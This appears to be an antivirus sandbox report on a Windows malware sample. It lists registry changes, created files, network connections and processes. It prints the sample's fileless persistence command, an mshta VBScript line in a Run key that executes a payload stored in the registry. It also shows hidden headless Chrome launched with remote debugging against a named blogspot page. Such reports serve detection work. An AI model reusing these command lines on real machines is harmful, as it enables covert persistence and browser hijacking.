Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Warn' = 'MSHTA VbScript:Execute("CreateObject(""Wscript.Shell"").Run CreateObject(""Wscript.Shell"").RegRead(""HKCU\v1Elm0D""), 0, False:...
Modifies file system
Creates the following files
- %TEMP%\etilqs_ekdivjvuevbbqbo
Deletes itself.
Network activity
Connects to
- 'clients4.google.com':443
- 'pa########onsutoria.blogspot.com':443
- 'tr######e.googleapis.com':443
- 'gs##tic.com':80
- 'clients3.google.com':443
- 'gs##tic.com':443
- 're#####es.blogblog.com':443
TCP
Other
- 'clients2.google.com':443
- 'pa########onsutoria.blogspot.com':443
- 'go###eapis.com':443
- 'gs##tic.com':443
- 'bl##ger.com':443
- 'fo###.gstatic.com':443
- 'th####.##ogleusercontent.com':443
- 'google.com':443
UDP
- DNS ASK clients2.google.com
- DNS ASK clients4.google.com
- DNS ASK google.com
- DNS ASK go##le.ru
- DNS ASK go###eapis.com
- DNS ASK pa########onsutoria.blogspot.com
- DNS ASK tr######e.googleapis.com
- DNS ASK gs##tic.com
- DNS ASK clients3.google.com
- DNS ASK bl##ger.com
- DNS ASK fo###.gstatic.com
- DNS ASK re#####es.blogblog.com
- DNS ASK th####.##ogleusercontent.com
- 'th####.##ogleusercontent.com':443
- 'google.com':443
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Google\Chrome\User Data'
Creates and executes the following
- '<SYSTEM32>\mshta.exe' VbScript:Execute("CreateObject(""Wscript.Shell"").Run CreateObject(""Wscript.Shell"").RegRead(""HKCU\v1Elm0D""), 0, False:close")' (with hidden window)
- '%ProgramFiles(x86)%\google\chrome\application\chrome.exe' --headless --mute-audio --remote-debugging-port=9222 https://palygamesconsutoria.blogspot.com/' (with hidden window)
Executes the following
- '<SYSTEM32>\mshta.exe' VbScript:Execute("CreateObject(""Wscript.Shell"").Run CreateObject(""Wscript.Shell"").RegRead(""HKCU\v1Elm0D""), 0, False:close")
- '%ProgramFiles(x86)%\google\chrome\application\chrome.exe' --headless --mute-audio --remote-debugging-port=9222 https://palygamesconsutoria.blogspot.com/
- '%ProgramFiles(x86)%\google\chrome\application\chrome.exe' --type=gpu-process --channel="2408.0.242450097\1985614698" --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,19,42 --gpu-vendor-id=0x0000 --gpu-device-id=0x0000 --gpu-driver-vendor --gp...
- '%ProgramFiles(x86)%\google\chrome\application\chrome.exe' --type=renderer --enable-deferred-image-decoding --lang=ru --force-fieldtrials="BackgroundRendererProcesses/Disallow/BrowserBlacklist/Enabled/*CTRequiredForEVTrial/RequirementEnforced/CaptivePo...
- '%ProgramFiles(x86)%\google\chrome\application\chrome.exe' --type=renderer --enable-deferred-image-decoding --lang=ru --force-fieldtrials="BackgroundRendererProcesses/Disallow/*BrowserBlacklist/Enabled/*CTRequiredForEVTrial/RequirementEnforced/CaptiveP...
